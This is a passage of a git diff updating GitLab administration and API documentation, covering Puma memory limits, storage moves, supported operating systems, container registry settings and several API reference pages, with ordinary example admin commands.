- The moves have failed. Most failures are temporary and are solved by rescheduling the move.
@@ -129,12 +132,12 @@ The response indicates either:
1. Repeat for each storage as required.
-### Bulk schedule group moves **(PREMIUM SELF)**
+#### Move all groups **(PREMIUM SELF)**
-Use the API to schedule group moves:
+To move all groups by using the API:
-1. [Schedule repository storage moves for all groups on a storage shard](../../api/group_repository_storage_moves.md#schedule-repository-storage-moves-for-all-groups-on-a-storage-shard)
-. For example:
+1. [Schedule repository storage moves for all groups on a storage shard](../../api/group_repository_storage_moves.md#schedule-repository-storage-moves-for-all-groups-on-a-storage-shard).
+ For example:
```shell
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
@@ -143,8 +146,8 @@ Use the API to schedule group moves:
"https://gitlab.example.com/api/v4/group_repository_storage_moves"
```
-1. [Query the most recent repository moves](../../api/group_repository_storage_moves.md#retrieve-all-group-repository-storage-moves)
-. The response indicates either:
+1. [Query the most recent repository moves](../../api/group_repository_storage_moves.md#retrieve-all-group-repository-storage-moves).
+ The response indicates either:
- The moves have completed successfully. The `state` field is `finished`.
- The moves are in progress. Re-query the repository move until it completes successfully.
- The moves have failed. Most failures are temporary and are solved by rescheduling the move.
@@ -161,7 +164,7 @@ Use the API to schedule group moves:
## Migrating to another GitLab instance
-[Using the API](#moving-data-within-a-gitlab-instance) isn't an option if you are migrating to a new
+[Using the API](#moving-data-in-a-gitlab-instance) isn't an option if you are migrating to a new
GitLab environment, for example:
- From a single-node GitLab to a scaled-out architecture.
@@ -185,7 +188,7 @@ Each of the approaches we list can or does overwrite data in the target director
For either Gitaly or Gitaly Cluster targets, the GitLab [backup and restore capability](../../raketasks/backup_restore.md)
should be used. Git repositories are accessed, managed, and stored on GitLab servers by Gitaly as a database. Data loss
-can result from directly accessing and copying Gitaly's files using tools like `rsync`.
+can result from directly accessing and copying Gitaly files using tools like `rsync`.
- From GitLab 13.3, backup performance can be improved by
[processing multiple repositories concurrently](../../raketasks/backup_gitlab.md#back-up-git-repositories-concurrently).
diff --git a/doc/administration/operations/puma.md b/doc/administration/operations/puma.md
index af595cdf297..51d6e9ae1fd 100644
--- a/doc/administration/operations/puma.md
+++ b/doc/administration/operations/puma.md
@@ -14,24 +14,22 @@ features of GitLab.
To reduce memory use, Puma forks worker processes. Each time a worker is created,
it shares memory with the primary process. The worker uses additional memory only
-when it changes or adds to its memory pages.
+when it changes or adds to its memory pages. This can lead to Puma workers using
+more physical memory over time as workers handle additional web requests. The amount of memory
+used over time depends on the use of GitLab. The more features used by GitLab users,
+the higher the expected memory use over time.
-Memory use increases over time, but you can use Puma Worker Killer to recover memory.
+To stop uncontrolled memory growth, the GitLab Rails application runs a supervision thread
+that automatically restarts workers if they exceed a given resident set size (RSS) threshold
+for a certain amount of time.
-By default:
-
-- The [Puma Worker Killer](https://github.com/schneems/puma_worker_killer) restarts a worker if it
- exceeds a [memory limit](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/cluster/puma_worker_killer_initializer.rb).
-- Rolling restarts of Puma workers are performed every 12 hours.
-
-### Change the memory limit setting
-
-To change the memory limit setting:
+GitLab sets a default of `1200Mb` for the memory limit. To override the default value,
+set `per_worker_max_memory_mb` to the new RSS limit in megabytes:
1. Edit `/etc/gitlab/gitlab.rb`:
```ruby
- puma['per_worker_max_memory_mb'] = 1024
+ puma['per_worker_max_memory_mb'] = 1024 # 1GB
```
1. Reconfigure GitLab:
@@ -40,48 +38,40 @@ To change the memory limit setting:
sudo gitlab-ctl reconfigure
```
-When workers are killed and replaced, capacity to run GitLab is reduced,
-and CPU is consumed. Set `per_worker_max_memory_mb` to a higher value if the worker killer
-is replacing workers too often.
+When workers are restarted, capacity to run GitLab is reduced for a short
+period of time. Set `per_worker_max_memory_mb` to a higher value if workers are replaced too often.
Worker count is calculated based on CPU cores. A small GitLab deployment
with 4-8 workers may experience performance issues if workers are being restarted
too often (once or more per minute).
-A higher value of `1200` or more would be beneficial if the server has free memory.
+A higher value of `1200` or more could be beneficial if the server has free memory.
-### Monitor worker memory
+### Monitor worker restarts
-The worker killer checks memory every 20 seconds.
+GitLab emits log events if workers are restarted due to high memory use.
-To monitor the worker killer, use [the Puma log](../logs/index.md#puma_stdoutlog) `/var/log/gitlab/puma/puma_stdout.log`.
-For example:
+The following is an example of one of these log events in `/var/log/gitlab/gitlab-rails/application_json.log`:
-```plaintext
-PumaWorkerKiller: Out of memory. 4 workers consuming total: 4871.23828125 MB
-out of max: 4798.08 MB. Sending TERM to pid 26668 consuming 1001.00390625 MB.
+```json
+{
+ "severity": "WARN",
+ "time": "2023-01-04T09:45:16.173Z",
+ "correlation_id": null,
+ "pid": 2725,
+ "worker_id": "puma_0",
+ "memwd_handler_class": "Gitlab::Memory::Watchdog::PumaHandler",
+ "memwd_sleep_time_s": 5,
+ "memwd_rss_bytes": 1077682176,
+ "memwd_max_rss_bytes": 629145600,
+ "memwd_max_strikes": 5,
+ "memwd_cur_strikes": 6,
+ "message": "rss memory limit exceeded"
+}
```
-From this output:
-
-- The formula that calculates the maximum memory value results in workers
- being killed before they reach the `per_worker_max_memory_mb` value.
-- In GitLab 13.4 and earlier, the default values for the formula were 550 MB for the primary
- and 850 MB for each worker.
-- In GitLab 13.5 and later, the values are primary: 800 MB, worker: 1024 MB.
-- The threshold for workers to be killed is set at 98% of the limit:
-
- ```plaintext
- 0.98 * ( 800 + ( worker_processes * 1024MB ) )
- ```
-
-- In the log output above, `0.98 * ( 800 + ( 4 * 1024 ) )` returns the
- `max: 4798.08 MB` value.
-
-Increasing the maximum to `1200`, for example, would set a `max: 5488 MB` value.
-
-Workers use additional memory on top of the shared memory. The amount of memory
-depends on a site's use of GitLab.
+`memwd_rss_bytes` is the actual amount of memory consumed, and `memwd_max_rss_bytes` is the
+RSS limit set through `per_worker_max_memory_mb`.
## Change the worker timeout
@@ -146,7 +136,7 @@ for details.
When running Puma in single mode, some features are not supported:
- [Phased restart](https://gitlab.com/gitlab-org/gitlab/-/issues/300665)
-- [Puma Worker Killer](https://gitlab.com/gitlab-org/gitlab/-/issues/300664)
+- [Memory killers](#reducing-memory-use)
To learn more, visit [epic 5303](https://gitlab.com/groups/gitlab-org/-/epics/5303).
diff --git a/doc/administration/operations/rails_console.md b/doc/administration/operations/rails_console.md
index efaf480c6df..f2143435755 100644
--- a/doc/administration/operations/rails_console.md
+++ b/doc/administration/operations/rails_console.md
@@ -31,6 +31,12 @@ Rails experience is useful but not required.
sudo gitlab-rails console
```
+**For Docker installations**
+
+```shell
+docker exec -it <container-id> gitlab-rails console
+```
+
**For installations from source**
```shell
diff --git a/doc/administration/package_information/supported_os.md b/doc/administration/package_information/supported_os.md
index fdbb17f3c71..9d1c8dcde5a 100644
--- a/doc/administration/package_information/supported_os.md
+++ b/doc/administration/package_information/supported_os.md
@@ -21,10 +21,11 @@ The following lists the currently supported OSs and their possible EOL dates.
| CentOS 7 | GitLab CE / GitLab EE 7.10.0 | x86_64 | [CentOS Install Documentation](https://about.gitlab.com/install/#centos-7) | June 2024 | <https://wiki.centos.org/About/Product> |
| Debian 10 | GitLab CE / GitLab EE 12.2.0 | amd64, arm64 | [Debian Install Documentation](https://about.gitlab.com/install/#debian) | 2024 | <https://wiki.debian.org/LTS> |
| Debian 11 | GitLab CE / GitLab EE 14.6.0 | amd64, arm64 | [Debian Install Documentation](https://about.gitlab.com/install/#debian) | 2026 | <https://wiki.debian.org/LTS> |
-| OpenSUSE 15.3 | GitLab CE / GitLab EE 14.5.0 | x86_64, aarch64 | [OpenSUSE Install Documentation](https://about.gitlab.com/install/#opensuse-leap-15-3) | Nov 2022 | <https://en.opensuse.org/Lifetime> |
+| OpenSUSE 15.3 | GitLab CE / GitLab EE 14.5.0 | x86_64, aarch64 | [OpenSUSE Install Documentation](https://about.gitlab.com/install/#opensuse-leap) | Dec 2022 | <https://en.opensuse.org/Lifetime> |
+| OpenSUSE 15.4 | GitLab CE / GitLab EE 15.7.0 | x86_64, aarch64 | [OpenSUSE Install Documentation](https://about.gitlab.com/install/#opensuse-leap) | Nov 2023 | <https://en.opensuse.org/Lifetime> |
| RHEL 8 | GitLab CE / GitLab EE 12.8.1 | x86_64, arm64 | [Use CentOS Install Documentation](https://about.gitlab.com/install/#centos-7) | May 2029 | [RHEL Details](https://access.redhat.com/support/policy/updates/errata/#Life_Cycle_Dates) |
-| SLES 12 | GitLab EE 9.0.0 | x86_64 | [Use OpenSUSE Install Documentation](https://about.gitlab.com/install/#opensuse-leap-15-3) | Oct 2027 | <https://www.suse.com/lifecycle/> |
-| SLES 15 | GitLab EE 14.8.0 | x86_64 | [Use OpenSUSE Install Documentation](https://about.gitlab.com/install/#opensuse-leap-15-3) | Dec 2024 | <https://www.suse.com/lifecycle/> |
+| SLES 12 | GitLab EE 9.0.0 | x86_64 | [Use OpenSUSE Install Documentation](https://about.gitlab.com/install/#opensuse-leap) | Oct 2027 | <https://www.suse.com/lifecycle/> |
+| SLES 15 | GitLab EE 14.8.0 | x86_64 | [Use OpenSUSE Install Documentation](https://about.gitlab.com/install/#opensuse-leap) | Dec 2024 | <https://www.suse.com/lifecycle/> |
| Oracle Linux | GitLab CE / GitLab EE 8.14.0 | x86_64 | [Use CentOS Install Documentation](https://about.gitlab.com/install/#centos-7) | Jul 2024 | <https://www.oracle.com/a/ocom/docs/elsp-lifetime-069338.pdf> |
| Scientific Linux | GitLab CE / GitLab EE 8.14.0 | x86_64 | [Use CentOS Install Documentation](https://about.gitlab.com/install/#centos-7) | June 2024 | <https://scientificlinux.org/downloads/sl-versions/sl7/> |
| Ubuntu 18.04 | GitLab CE / GitLab EE 10.7.0 | amd64 | [Ubuntu Install Documentation](https://about.gitlab.com/install/#ubuntu) | April 2023 | <https://wiki.ubuntu.com/Releases> |
@@ -40,6 +41,9 @@ CentOS 8 was EOL on December 31, 2021. In GitLab 14.5 and later,
We officially support all distributions that are binary compatible with Red Hat Enterprise Linux.
This gives users a path forward for their CentOS 8 builds at its end of life.
+NOTE:
+The [CentOS major version and a minor version](https://en.wikipedia.org/wiki/CentOS#CentOS_releases) up to CentOS8 ([when CentOS Stream](https://en.wikipedia.org/wiki/CentOS#CentOS_Stream) was released) correspond to the set of major version and update versions of RHEL.
+
## Update GitLab package sources after upgrading the OS
After upgrading the Operating System (OS) as per its own documentation,
diff --git a/doc/administration/packages/container_registry.md b/doc/administration/packages/container_registry.md
index d76c728fb78..6446252e143 100644
--- a/doc/administration/packages/container_registry.md
+++ b/doc/administration/packages/container_registry.md
@@ -590,6 +590,13 @@ you can pull from the Container Registry, but you cannot push.
#### Moving to Azure Object Storage
+> The default configuration for the storage driver will be [changed](https://gitlab.com/gitlab-org/container-registry/-/issues/854) in GitLab 16.0.
+
+<!--- start_remove The following content will be removed on remove_date: '2023-10-22' -->
+WARNING:
+The default configuration for the storage driver will be [changed](https://gitlab.com/gitlab-org/container-registry/-/issues/854) in GitLab 16.0. The storage driver will use `/` as the default root directory. You can add `trimlegacyrootprefix: false` to your current configuration now to avoid any disruptions. For more information, see the [Container Registry configuration](https://gitlab.com/gitlab-org/container-registry/-/tree/master/docs-gitlab#azure-storage-driver) documentation.
+<!--- end_remove -->
+
When moving from an existing file system or another object storage provider to Azure Object Storage, you must configure the registry to use the standard root directory.
This configuration is done by setting [`trimlegacyrootprefix: true]`](https://gitlab.com/gitlab-org/container-registry/-/blob/a3f64464c3ec1c5a599c0a2daa99ebcbc0100b9a/docs-gitlab/README.md#azure-storage-driver) in the Azure storage driver section of the registry configuration.
Without this configuration, the Azure storage driver uses `//` instead of `/` as the first section of the root path, rendering the migrated images inaccessible.
@@ -758,6 +765,8 @@ project, you can [disable it from your project's settings](../../user/project/se
## Use an external container registry with GitLab as an auth endpoint
+> Support for external container registries in GitLab is [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/376217) in GitLab 15.8 and will be removed in GitLab 16.0.
+
If you use an external container registry, some features associated with the
container registry may be unavailable or have [inherent risks](../../user/packages/container_registry/reduce_container_registry_storage.md#use-with-external-container-registries).
@@ -777,7 +786,7 @@ auth:
Without these entries, the registry logins cannot authenticate with GitLab.
GitLab also remains unaware of
-[nested image names](../../user/packages/container_registry/index.md#image-naming-convention)
+[nested image names](../../user/packages/container_registry/index.md#naming-convention-for-your-container-images)
under the project hierarchy, like
`registry.example.com/group/project/image-name:tag` or
`registry.example.com/group/project/my/image-name:tag`, and only recognizes
diff --git a/doc/administration/pages/index.md b/doc/administration/pages/index.md
index 2a28df96ef4..58003758c8a 100644
--- a/doc/administration/pages/index.md
+++ b/doc/administration/pages/index.md
@@ -185,7 +185,7 @@ you must also add the full paths as shown below:
1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
1. If you're using [Pages Access Control](#access-control), update the redirect URI in the GitLab Pages
-[System OAuth application](../../integration/oauth_provider.md#instance-wide-applications)
+[System OAuth application](../../integration/oauth_provider.md#create-an-instance-wide-application)
to use the HTTPS protocol.
WARNING:
@@ -384,7 +384,7 @@ then you need to also add the full paths as shown below:
1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
1. If you're using [Pages Access Control](#access-control), update the redirect URI in the GitLab Pages
-[System OAuth application](../../integration/oauth_provider.md#instance-wide-applications)
+[System OAuth application](../../integration/oauth_provider.md#create-an-instance-wide-application)
to use the HTTPS protocol.
### Custom domain verification
@@ -485,7 +485,7 @@ this:
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/32095) in GitLab 12.7.
You can enforce [Access Control](#access-control) for all GitLab Pages websites hosted
-on your GitLab instance. By doing so, only logged-in users have access to them.
+on your GitLab instance. By doing so, only authenticated users have access to them.
This setting overrides Access Control set by users in individual projects.
This can be helpful to restrict information published with Pages websites to the users
@@ -1428,7 +1428,7 @@ Once added, reconfigure with `sudo gitlab-ctl reconfigure` and restart GitLab wi
You may see this error if `pages_external_url` was updated at some point of time. Verify the following:
-1. The **Callback URL**/Redirect URI in the GitLab Pages [System OAuth application](../../integration/oauth_provider.md#instance-wide-applications)
+1. The **Callback URL**/Redirect URI in the GitLab Pages [System OAuth application](../../integration/oauth_provider.md#create-an-instance-wide-application)
is using the protocol (HTTP or HTTPS) that `pages_external_url` is configured to use.
1. The domain and path components of `Redirect URI` are valid: they should look like `projects.<pages_external_url>/auth`.
diff --git a/doc/administration/pages/source.md b/doc/administration/pages/source.md
index e122d49a963..db76d15ec58 100644
--- a/doc/administration/pages/source.md
+++ b/doc/administration/pages/source.md
@@ -445,7 +445,7 @@ Pages access control is disabled by default. To enable it:
```
1. [Restart GitLab](../restart_gitlab.md#installations-from-source).
-1. Create a new [system OAuth application](../../integration/oauth_provider.md#user-owned-applications).
+1. Create a new [system OAuth application](../../integration/oauth_provider.md#create-a-user-owned-application).
This should be called `GitLab Pages` and have a `Redirect URL` of
`https://projects.example.io/auth`. It does not need to be a "trusted"
application, but it does need the `api` scope.
diff --git a/doc/administration/postgresql/multiple_databases.md b/doc/administration/postgresql/multiple_databases.md
index ffccbf861e7..25f148dbe84 100644
--- a/doc/administration/postgresql/multiple_databases.md
+++ b/doc/administration/postgresql/multiple_databases.md
@@ -118,6 +118,7 @@ the other way around.
sudo gitlab-ctl start postgresql
sudo -u gitlab-psql /opt/gitlab/embedded/bin/psql -h /var/opt/gitlab/postgresql -d template1 -c "CREATE DATABASE gitlabhq_production_ci OWNER gitlab;"
sudo gitlab-rake db:schema:load:ci
+ ```
1. Lock writes for `ci` tables in `main` database, and the other way around:
diff --git a/doc/administration/raketasks/github_import.md b/doc/administration/raketasks/github_import.md
index 61f6137e1ed..2e6a88a77e2 100644
--- a/doc/administration/raketasks/github_import.md
+++ b/doc/administration/raketasks/github_import.md
@@ -15,6 +15,11 @@ Bear in mind that the syntax is very specific. Remove any spaces in the argument
before/after the brackets. Also, some shells (for example, Zsh) can interpret the open/close brackets
(`[]`) separately. You may want to either escape the brackets or use double quotes.
+Prerequisite:
+
+- At least the Maintainer role on the destination group to import to. Using the Developer role for this purpose was
+ [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/387891) in GitLab 15.8 and will be removed in GitLab 16.0.
+
## Caveats
If the GitHub [rate limit](https://docs.github.com/en/rest/rate-limit) is reached while
@@ -34,7 +39,7 @@ bundle exec rake "import:github[access_token,root,foo/bar]" RAILS_ENV=production
In this case, `access_token` is your GitHub personal access token, `root`
is your GitLab username, and `foo/bar` is the new GitLab namespace/project
-created from your GitHub project. Subgroups are also possible: `foo/foo/bar`.
+created from your GitHub project. Subgroups are also possible: `foo/foo/bar`. The importer creates any missing intermediate namespaces (groups) if they do not exist.
## Importing a single project
diff --git a/doc/administration/redis/replication_and_failover.md b/doc/administration/redis/replication_and_failover.md
index 2ba19aa6f0a..2e56884e309 100644
--- a/doc/administration/redis/replication_and_failover.md
+++ b/doc/administration/redis/replication_and_failover.md
@@ -324,6 +324,14 @@ Read more about [roles](https://docs.gitlab.com/omnibus/roles/).
sudo touch /etc/gitlab/skip-auto-reconfigure
```
+1. Only the primary GitLab application server should handle migrations. To
+ prevent database migrations from running on upgrade, add the following
+ configuration to your `/etc/gitlab/gitlab.rb` file:
+
+ ```ruby
+ gitlab_rails['auto_migrate'] = false
+ ```
+
1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
1. Go through the steps again for all the other replica nodes.
diff --git a/doc/administration/reference_architectures/10k_users.md b/doc/administration/reference_architectures/10k_users.md
index 88913eb1f7f..bb50f66aff0 100644
--- a/doc/administration/reference_architectures/10k_users.md
+++ b/doc/administration/reference_architectures/10k_users.md
@@ -1855,7 +1855,7 @@ Updates to example must be made at:
# Set number of Sidekiq queue processes to the same number as available CPUs
sidekiq['queue_groups'] = ['*'] * 4
- # Set number of Sidekiq threads per queue process to the recommend number of 20
+ # Set number of Sidekiq threads per queue process to the recommended number of 20
sidekiq['max_concurrency'] = 20
# Monitoring
@@ -1986,7 +1986,7 @@ On each node perform the following:
{host: '10.6.0.53', port: 26379},
]
- ## Second cluster that will host the persistent queues, shared state, and actionable
+ ## Second cluster that will host the persistent queues, shared state, and actioncable
gitlab_rails['redis_queues_instance'] = 'redis://:<REDIS_PRIMARY_PASSWORD_OF_SECOND_CLUSTER>@gitlab-redis-persistent'
gitlab_rails['redis_shared_state_instance'] = 'redis://:<REDIS_PRIMARY_PASSWORD_OF_SECOND_CLUSTER>@gitlab-redis-persistent'
gitlab_rails['redis_actioncable_instance'] = 'redis://:<REDIS_PRIMARY_PASSWORD_OF_SECOND_CLUSTER>@gitlab-redis-persistent'
diff --git a/doc/administration/snippets/index.md b/doc/administration/snippets/index.md
index 4bd03aeb8c8..613d161a64c 100644
--- a/doc/administration/snippets/index.md
+++ b/doc/administration/snippets/index.md
@@ -1,7 +1,7 @@
---
type: reference, howto
stage: Create
-group: Editor
+group: Source Code
info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments"
---
diff --git a/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md b/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md
index 7c5feb24e15..0cd34ca16df 100644
--- a/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md
+++ b/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md
@@ -74,7 +74,7 @@ Moved to [Geo replication troubleshooting](../geo/replication/troubleshooting.md
### Artifacts
-Moved to [Geo replication troubleshooting](../geo/replication/troubleshooting.md#find-failed-artifacts).
+Moved to [Geo replication troubleshooting](../geo/replication/troubleshooting.md#find-registry-records-of-blobs-that-failed-to-sync).
### Repository verification failures
diff --git a/doc/api/appearance.md b/doc/api/appearance.md
index 622239e7283..eb88ec5e1b3 100644
--- a/doc/api/appearance.md
+++ b/doc/api/appearance.md
@@ -29,8 +29,9 @@ Example response:
```json
{
"title": "GitLab Test Instance",
- "short_title": "GitLab",
+ "pwa_short_name": "GitLab",
"description": "gitlab-test.example.com",
+ "pwa_icon": "/uploads/-/system/appearance/pwa_icon/1/pwa_logo.png",
"logo": "/uploads/-/system/appearance/logo/1/logo.png",
"header_logo": "/uploads/-/system/appearance/header_logo/1/header.png",
"favicon": "/uploads/-/system/appearance/favicon/1/favicon.png",
@@ -55,8 +56,9 @@ PUT /application/appearance
| Attribute | Type | Required | Description |
| --------------------------------- | ------- | -------- | ----------- |
| `title` | string | no | Instance title on the sign in / sign up page
-| `short_title` | string | no | Short title for progressive web app
+| `pwa_short_name` | string | no | Optional, short name for Progressive Web App
| `description` | string | no | Markdown text shown on the sign in / sign up page
+| `pwa_icon` | mixed | no | Icon used for Progressive Web App. See [Change logo](#change-logo). [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/375708) in GitLab 15.8.
| `logo` | mixed | no | Instance image used on the sign in / sign up page. See [Change logo](#change-logo)
| `header_logo` | mixed | no | Instance image used for the main navigation bar
| `favicon` | mixed | no | Instance favicon in `.ico` or `.png` format
@@ -77,8 +79,9 @@ Example response:
```json
{
"title": "GitLab Test Instance",
- "short_title": "GitLab",
+ "pwa_short_name": "GitLab",
"description": "gitlab-test.example.com",
+ "pwa_icon": "/uploads/-/system/appearance/pwa_icon/1/pwa_logo.png",
"logo": "/uploads/-/system/appearance/logo/1/logo.png",
"header_logo": "/uploads/-/system/appearance/header_logo/1/header.png",
"favicon": "/uploads/-/system/appearance/favicon/1/favicon.png",
@@ -105,9 +108,10 @@ preceded by `@`.
PUT /application/appearance
```
-| Attribute | Type | Required | Description |
-| --------- | ------ | -------- | -------------- |
-| `logo` | mixed | Yes | File to upload |
+| Attribute | Type | Required | Description |
+| --------- | ------ | -------- | -------------- |
+| `logo` | mixed | Yes | File to upload |
+| `pwa_icon` | mixed | Yes | File to upload. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/375708) in GitLab 15.8. |
Example request:
@@ -123,4 +127,5 @@ Returned object:
```json
{
"logo":"/uploads/-/system/appearance/logo/1/logo.png"
+}
```
diff --git a/doc/api/container_registry.md b/doc/api/container_registry.md
index a2e4d9f37f5..b94bee210e4 100644
--- a/doc/api/container_registry.md
+++ b/doc/api/container_registry.md
@@ -330,7 +330,7 @@ curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" \
```
This action doesn't delete blobs. To delete them and recycle disk space,
-[run the garbage collection](https://docs.gitlab.com/omnibus/maintenance/index.html#removing-unused-layers-not-referenced-by-manifests).
+[run the garbage collection](../administration/packages/container_registry.md#container-registry-garbage-collection).
## Delete registry repository tags in bulk
@@ -369,7 +369,7 @@ if successful, and performs the following operations:
These operations are executed asynchronously and can take time to get executed.
You can run this at most once an hour for a given container repository. This
action doesn't delete blobs. To delete them and recycle disk space,
-[run the garbage collection](https://docs.gitlab.com/omnibus/maintenance/index.html#removing-unused-layers-not-referenced-by-manifests).
+[run the garbage collection](../administration/packages/container_registry.md#container-registry-garbage-collection).
WARNING:
The number of tags deleted by this API is limited on GitLab.com
diff --git a/doc/api/environments.md b/doc/api/environments.md
index 89b4bb6a1de..2b67c59ae35 100644
--- a/doc/api/environments.md
+++ b/doc/api/environments.md
@@ -19,7 +19,7 @@ GET /projects/:id/environments
| --------- | ------- | -------- |-------------------------------------------------------------------------------------------------------------------------------------------------------------|
| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `name` | string | no | Return the environment with this name. Mutually exclusive with `search` |
-| `search` | string | no | Return list of environments matching the search criteria. Mutually exclusive with `name` |
+| `search` | string | no | Return list of environments matching the search criteria. Mutually exclusive with `name`. Must be at least 3 characters long. |
| `states` | string | no | List all environments that match a specific state. Accepted values: `available`, `stopping`, or `stopped`. If no state value given, returns all environments. |
```shell
@@ -412,3 +412,28 @@ Example response:
"updated_at": "2019-05-27T18:55:13.252Z"
}
```
+
+## Stop stale environments
+
+Issue stop request to all environments that were last modified or deployed to before a specified date. Excludes protected environments. Returns `200` if stop request was successful and `400` if the before date is invalid. For details of exactly when the environment is stopped, see [Stop an environment](../ci/environments/index.md#stop-an-environment).
+
+```plaintext
+POST /projects/:id/environments/stop_stale
+```
+
+| Attribute | Type | Required | Description |
+|-----------|----------------|----------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
+| `before` | date | yes | Stop environments that have been modified or deployed to before the specified date. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`). Valid inputs are between 10 years ago and 1 week ago |
+
+```shell
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/environments/stop_stale?before=10%2F10%2F2021"
+```
+
+Example response:
+
+```json
+{
+ "message": "Successfully requested stop for all stale environments"
+}
+```
diff --git a/doc/api/feature_flags.md b/doc/api/feature_flags.md
index 1aec1006610..4b385a35405 100644
--- a/doc/api/feature_flags.md
+++ b/doc/api/feature_flags.md
@@ -211,10 +211,12 @@ PUT /projects/:id/feature_flags/:feature_flag_name
| `strategies` | JSON | no | The feature flag [strategies](../operations/feature_flags.md#feature-flag-strategies). |
| `strategies:id` | JSON | no | The feature flag strategy ID. |
| `strategies:name` | JSON | no | The strategy name. |
+| `strategies:_destroy` | boolean | no | Delete the strategy when true. |
| `strategies:parameters` | JSON | no | The strategy parameters. |
| `strategies:scopes` | JSON | no | The scopes for the strategy. |
| `strategies:scopes:id` | JSON | no | The environment scope ID. |
| `strategies:scopes:environment_scope` | string | no | The environment scope of the scope. |
+| `strategies:scopes:_destroy` | boolean | no | Delete the scope when true. |
```shell
curl "https://gitlab.example.com/api/v4/projects/1/feature_flags/awesome_feature" \
diff --git a/doc/api/geo_nodes.md b/doc/api/geo_nodes.md
index 6b62e82f54d..5f9323016c0 100644
--- a/doc/api/geo_nodes.md
+++ b/doc/api/geo_nodes.md
@@ -198,22 +198,22 @@ _This can only be run against a primary Geo node._
PUT /geo_nodes/:id
```
-| Attribute | Type | Required | Description |
-|-----------------------------|---------|-----------|---------------------------------------------------------------------------|
-| `id` | integer | yes | The ID of the Geo node. |
-| `enabled` | boolean | no | Flag indicating if the Geo node is enabled. |
-| `name` | string | yes | The unique identifier for the Geo node. Must match `geo_node_name` if it is set in `gitlab.rb`, otherwise it must match `external_url`. |
-| `url` | string | yes | The user-facing URL of the Geo node. |
-| `internal_url` | string | no | The URL defined on the primary node that secondary nodes should use to contact it. Returns `url` if not set.|
-| `files_max_capacity` | integer | no | Control the maximum concurrency of LFS/attachment backfill for this secondary node. |
-| `repos_max_capacity` | integer | no | Control the maximum concurrency of repository backfill for this secondary node. |
-| `verification_max_capacity` | integer | no | Control the maximum concurrency of verification for this node. |
-| `container_repositories_max_capacity` | integer | no | Control the maximum concurrency of container repository sync for this node. |
-| `sync_object_storage` | boolean | no | Flag indicating if the secondary Geo node should replicate blobs in Object Storage. |
-| `selective_sync_type` | string | no | Limit syncing to only specific groups or shards. Valid values: `"namespaces"`, `"shards"`, or `null`. |
-| `selective_sync_shards` | array | no | The repository storage for the projects synced if `selective_sync_type` == `shards`. |
-| `selective_sync_namespace_ids` | array | no | The IDs of groups that should be synced, if `selective_sync_type` == `namespaces`. |
-| `minimum_reverification_interval` | integer | no | The interval (in days) in which the repository verification is valid. Once expired, it is reverified. This has no effect when set on a secondary node. |
+| Attribute | Type | Required | Description |
+|-----------------------------|---------|---------|---------------------------------------------------------------------------|
+| `id` | integer | yes | The ID of the Geo node. |
+| `enabled` | boolean | no | Flag indicating if the Geo node is enabled. |
+| `name` | string | no | The unique identifier for the Geo node. Must match `geo_node_name` if it is set in `gitlab.rb`, otherwise it must match `external_url`. |
+| `url` | string | no | The user-facing URL of the Geo node. |
+| `internal_url` | string | no | The URL defined on the primary node that secondary nodes should use to contact it. Returns `url` if not set.|
+| `files_max_capacity` | integer | no | Control the maximum concurrency of LFS/attachment backfill for this secondary node. |
+| `repos_max_capacity` | integer | no | Control the maximum concurrency of repository backfill for this secondary node. |
+| `verification_max_capacity` | integer | no | Control the maximum concurrency of verification for this node. |
+| `container_repositories_max_capacity` | integer | no | Control the maximum concurrency of container repository sync for this node. |
+| `sync_object_storage` | boolean | no | Flag indicating if the secondary Geo node should replicate blobs in Object Storage. |
+| `selective_sync_type` | string | no | Limit syncing to only specific groups or shards. Valid values: `"namespaces"`, `"shards"`, or `null`. |
+| `selective_sync_shards` | array | no | The repository storage for the projects synced if `selective_sync_type` == `shards`. |
+| `selective_sync_namespace_ids` | array | no | The IDs of groups that should be synced, if `selective_sync_type` == `namespaces`. |
+| `minimum_reverification_interval` | integer | no | The interval (in days) in which the repository verification is valid. Once expired, it is reverified. This has no effect when set on a secondary node. |
Example response:
@@ -255,9 +255,6 @@ in GitLab 14.9.
Removes the Geo node.
-NOTE:
-Only a Geo primary node accepts this request.
-
```plaintext
DELETE /geo_nodes/:id
```
diff --git a/doc/api/graphql/audit_report.md b/doc/api/graphql/audit_report.md
index 5529f0b872a..bad6a7a1e83 100644
--- a/doc/api/graphql/audit_report.md
+++ b/doc/api/graphql/audit_report.md
@@ -111,7 +111,7 @@ a single integer.
This GraphQL query returns the groups and projects that the user has been *explicitly* made a member of.
Since the GraphiQL explorer uses the session token to authorize access to resources,
-the output is limited to the projects and groups accessible to the currently signed-in user.
+the output is limited to the projects and groups accessible to the currently authenticated user.
If you've signed in as an instance administrator, you would have access to all records, regardless of ownership.
diff --git a/doc/api/graphql/branch_rules.md b/doc/api/graphql/branch_rules.md
new file mode 100644
index 00000000000..c38ebd673d0
--- /dev/null
+++ b/doc/api/graphql/branch_rules.md
@@ -0,0 +1,137 @@
+---
+stage: Create
+group: Source Code
